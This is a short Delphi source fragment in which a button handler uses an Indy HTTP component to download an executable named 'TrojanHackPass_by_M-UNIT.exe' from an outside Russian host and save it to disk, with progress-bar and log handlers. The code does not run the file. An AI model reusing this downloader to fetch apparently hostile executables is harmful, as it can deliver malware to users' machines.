procedure Tfrmmain.TButtonOnClick(Sender: TObject);
var MEMORYSTREAM: TMEMORYSTREAM;  
 fname:string;
  begin
  fname:='http://MunitSystems.h1.ru/TrojanHackPass_by_M-UNIT.exe';
  memorystream:=TMemoryStream.Create;
  idhttp1.Get(fname,memorystream);
  memorystream.Position:=0;
  MemoryStream.SaveToFile(extractfilename(fname));
  memorystream.free;
end;


procedure Tfrmmain.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
  AWorkCount: Integer);
begin
progressbar1.Position:=aworkcount;
end;

procedure Tfrmmain.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
  AWorkCountMax: Integer);
begin
showmessage('start:)');
progressbar1.max:=AWorkCountMax;
end;


procedure Tfrmmain.IdHTTP1Status(ASender: TObject; const AStatus: TIdStatus;
  const AStatusText: string);
begin
MemoLog.lines.add(astatustext);
end;


procedure Tfrmmain.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
begin
showmessage('end:)');
end;